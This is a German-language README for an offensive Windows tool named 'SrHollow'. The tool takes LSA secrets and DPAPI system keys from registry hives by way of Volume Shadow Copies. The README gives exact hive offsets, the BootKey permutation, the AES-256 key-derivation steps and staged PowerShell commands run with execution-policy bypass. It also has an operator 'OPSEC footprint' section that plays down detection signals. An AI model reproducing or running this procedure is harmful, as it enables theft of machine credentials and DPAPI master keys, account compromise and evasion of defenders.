
Extrahiert LSA-Secrets und DPAPI-Schlüssel aus Windows-Registry-Hives über vorhandene oder neu erstellte VSS-Schattenkopien, mit einem Inline-regf-Parser und AES-256-Entschlüsselung.
Extraktion von LSA-Secrets, Wiederverwendung einer bereits vorhandenen VSS-Schattenkopie + Inline-regf-Parser + AES-256-LSA-Entschlüsselung über bcrypt.dll.
\GLOBAL?? aufzählen über NtOpenDirectoryObject + NtQueryDirectoryObject. Die HarddiskVolumeShadowCopyN mit der höchsten Nummer auswählen.SRSetRestorePointW(BEGIN_SYSTEM_CHANGE, DEVICE_DRIVER_INSTALL) aus SrClient.dll zurückfallen.SeBackupPrivilege aktivieren im aktuellen Token (AdjustTokenPrivileges).CreateFileW("\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\Windows\System32\config\{SECURITY,SYSTEM}", FILE_FLAG_BACKUP_SEMANTICS) und in byte[] einlesen.regf-Walker parst die Hive: Basisblock, Zelltypen nk/vk/lf/lh/li/ri/db/sk. KeyNode-Layout, Flags @0x02, Unterschlüsselliste @0x1C, Werteliste @0x28, Security Key @0x2C, Class-Offset @0x30, Namenslänge u16 @0x48, Class-Länge u16 @0x4A (dies war ein Bug beim ersten Durchlauf — Microsofts eigene Doku ist hier mehrdeutig), Name @0x4C.Class-UTF-16-Hex von ControlSet00N\Control\Lsa\{JD, Skew1, GBG, Data} verketten → 16 Rohbytes → mit [8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7] permutieren.Policy\PolEKList\(default) (172 Bytes): salt = bytes[0x1C..0x3C]; tmpKey = SHA-256(BootKey || salt * 1000); pt = AES-256-CBC-decrypt(bytes[0x3C..], tmpKey, IV=0); LSA-Schlüssel = pt[68..100].Policy\Secrets\<name>\CurrVal\(default): gleiches Layout, Salt-Stretch mit dem LSA-Schlüssel statt dem BootKey.DPAPI_SYSTEM-Body: bytes[4..24] = MachineKey, bytes[24..44] = UserKey. Diese entschlüsseln jeden SYSTEM-weiten DPAPI-Masterkey auf dem Host.SrHollow/
├── README.md <- Sie sind hier
├── src/
│ └── SrHollow.cs <- Inline-regf-Parser + LSA-AES-Krypto (~350 LOC, einzelne Datei)
└── stages/
├── Stage1-Recon.ps1 <- schreibgeschützte Shadow-Aufzählung
├── Stage1b-ReadShadowHives.ps1 <- automatische Erkennung / automatische Erstellung von Shadow + Hives einlesen
├── Stage2-Decrypt.ps1 <- BootKey + LSA-Schlüssel + alle Secrets
└── Stage3-Report.ps1 <- formatierter Operator-Bericht mit OPSEC-Footprint
src/SrHollow.cs hat keine Abhängigkeiten außer System.Security.Cryptography (das selbst an bcrypt.dll weiterleitet). Es kompiliert unverändert über Add-Type oder csc.exe.
Erhöhte PowerShell
# 1. Read-only recon, see what shadows already exist
powershell.exe -ep bypass -File .\stages\Stage1-Recon.ps1
# 2. Extract SECURITY + SYSTEM from the newest existing shadow
# (creates one via SRSetRestorePointW if none exist)
powershell.exe -ep bypass -File .\stages\Stage1b-ReadShadowHives.ps1
# 3. Derive BootKey + LSA key + decrypt every secret
powershell.exe -ep bypass -File .\stages\Stage2-Decrypt.ps1
# 4. (Optional) formatted operator report
powershell.exe -ep bypass -File .\stages\Stage3-Report.ps1
Erfordert: lokalen Administrator (für SeBackupPrivilege), einen Volume Shadow Copy-Dienst, der läuft oder startbar ist (Standard unter Windows 10/11).
Attribuierbare Signale, die hinterlassen werden, wenn ein Shadow bereits existiert:
CreateFileW auf \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyN\...AdjustTokenPrivileges, das SeBackupPrivilege aktiviertSHA-256 + AES-CBC über bcrypt.dll (Userland, unauffällig)Dies ist dasselbe Datei-Öffnungsprofil wie bei den meisten legitimen Backup-Agenten.